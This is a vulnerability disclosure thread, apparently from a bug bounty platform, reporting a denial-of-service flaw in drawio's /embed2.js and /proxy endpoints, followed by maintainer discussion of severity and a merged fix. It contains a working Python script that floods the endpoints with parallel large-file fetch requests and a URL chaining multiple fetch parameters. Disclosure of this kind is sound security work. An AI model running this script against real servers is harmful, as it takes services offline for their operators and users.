proxying Big files leads to potential DOS in jgraph/drawio

Valid

Reported on

May 24th 2022


Description

consider following script

exploit.py

put drawio_docker_instace your address and also big_file_address should be serve a big image file ( > 250 MB)

from multiprocessing import Process
import requests

def fun():
    try:
       requests.get("http://drawio_docker_instace/embed2.js?fetch=http://big_file_address/1.jpg")
       #requests.get("http://drawio_docker_instace/proxy?url=http://big_file_address/1.jpg")
       print("OK")
    except:
        print("error from server")

def main():
    for i in range(1,40):
        p = Process(target=fun, args=())
        p.start()

if __name__ == '__main__':
    main()

I upload forty 250MB photos at the same time, and the server hangs up ( I test it on upcloud basic server plan) both /proxy and /embed2.js was vulnerable to DOS and /embed2.js was more vulnerable as I saw in docker status you can check it yourself with my POC.py file

Proof of Concept

The POC is for the /embed2.js endpoint and for the /proxy endpoint we should increase the number of simultaneously Processes https://drive.google.com/file/d/1p52S-Rcp0p_5od8NUtz4DHpte4EZj6Ks/view?usp=sharing

Impact

High damage on Availability of server, In my tests the docker instance was stopped working. because the drawio ran on the same docker of the mentioned methods, then the whole application can be damaged by this attack. So I prefer set the availability of CVSS to high

We are processing your report and will contact the jgraph/drawio team within 24 hours. a month ago
amammad modified the report
a month ago
amammad
a month ago

Researcher


I think the best solution is that check Content-Length first and restrict files according to their size.

amammad
a month ago

Researcher


because after decreasing the file sizes if we put drawio instance behind a cloud WAF for rate limit issues, no one can send thousands of small files to DOS the app. But in the current situation that anyone can even send some 10GB files to the server without any rate-limiting issues.

amammad
a month ago

Researcher


Update: with the following URL, we can also make a higher impact as we can send multiple fetch parameter at the same time. https://app.diagrams.net/embed2.js?fetch=http://google.com&fetch=http://google.co&fetch=http://google.org

David Benson
a month ago

Maintainer


Thanks for the report. What resources (CPU and RAM) were available to the docker image that went down? I'm not able to repeat this.

amammad
a month ago

Researcher


Hey David, I test it on upcloud basic server plan contains 1GB RAM, 1 Core CPU, 25GB space, and high upcloud IO pins! my test was just a simple test, for more servers should work with a higher number of simultaneous connections.

We have contacted a member of the jgraph/drawio team and are waiting to hear back a month ago
David Benson
a month ago

Maintainer


Thanks. There is certainly the ability to DoS a system, but how effective that is does depend on the system setup, as well as the code.

We attempted a large scale DoS against a copy of our production system and were unable to affect its ability to respond or serve data. My suggestion is that the availability level should therefore be low to reflect that some systems will be more affected and some not, otherwise all users will think an update is critical, whereas it might not be.

amammad modified the report
a month ago
amammad
a month ago

Researcher


OK, David, I change the availability, Again 5.3 :)

Can I ask you to let me send a separate report for the /proxy endpoint?

David Benson
a month ago

Maintainer


Yes, a seperate report for each endpoint is fine.

David Benson validated this vulnerability a month ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
David Benson confirmed that a fix has been merged on 064729 a month ago
The fix bounty has been dropped
to join this conversation